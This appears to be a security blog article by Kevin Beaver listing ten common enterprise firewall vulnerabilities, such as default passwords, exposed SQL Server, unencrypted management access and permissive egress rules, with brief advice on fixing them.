to an extensive training library. “The best is yet to come,” concluded Broomé.

Common Firewall Threats Do you really know what vulnerabilities currently exist in your enterprise firewalls? Your vulnerability scans... Cyber Attacks & Incident Response Top 10 common firewall threats and vulnerabilities Kevin Beaver 2 min read Kevin Beaver Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 7/16/15 Published Common Firewall Threats Do you really know what vulnerabilities currently exist in your enterprise firewalls? Your vulnerability scans are coming up clean. Your penetration tests have not revealed anything of significance. Therefore, everything’s in check, right? Not necessarily. In my work performing independent security assessments , I have found over the years that numerous firewall-related vulnerabilities can be present right under your nose. Sometimes they’re blatantly obvious. Other times, not so much. Here are my top 10 common firewall vulnerabilities that you need to be on the lookout for listed in order of typical significance/priority: Password(s) are set to the default which creates every security problem imaginable, including accountability issues when network events occur. Anyone on the Internet can access Microsoft SQL Server databases hosted internally which can lead to internal database access, especially when SQL Server has the default credentials (sa/password) or an otherwise weak password. Firewall OS software is outdated and no longer supported which can facilitate known exploits including remote code execution and denial of service attacks, and might not look good in the eyes of third-parties if a breach occurs and it’s made known that the system was outdated. Anyone on the Internet can access the firewall via unencrypted HTTP connections, as these can be exploited by an outsider who’s on the same network segment such as an open/unencrypted wireless network. Anti-spoofing controls are not enabled on the external interface which can facilitate denial of service and related attacks. Rules exist without logging which can be especially problematic for critical systems/services. Any protocol/service can connect between internal network segments which can lead to internal breaches and compliance violations, especially as it relates to PCI DSS cardholder data environments. Anyone on the internal network can access the firewall via unencrypted telnet connections. These connections can be exploited by an internal user (or malware) if ARP poisoning is enabled via a tool such as the free password recovery program Cain & Abel . Any type of TCP or UDP service can exit the network which can enable the spreading of malware and spam and lead to acceptable usage and related policy violations. Rules exist without any documentation which can create security management issues, especially when firewall admins leave the organization abruptly. Firewall Threats and Solutions Every security issue – whether confirmed or potential – is subject to your own interpretation and needs. But the odds are good that these firewall vulnerabilities are creating tangible business risks for your organization today. But the good news is that these security issues are relatively easy to fix. Obviously, you’ll want to think through most of them before “fixing” them as you can quickly create more problems than you’re solving. And you might consider testing these changes on a less critical firewall or, if you’re lucky enough, in a test environment. Ultimately understanding the true state of your firewall security is not only good for minimizing network risks, it can also be beneficial in terms of documenting your network, tweaking its architecture, and fine-tuning some of your standards, policies, and procedures that involve security hardening, change management, and the like. And the most important step is acknowledging that these firewall vulnerabilities exist in the first place!
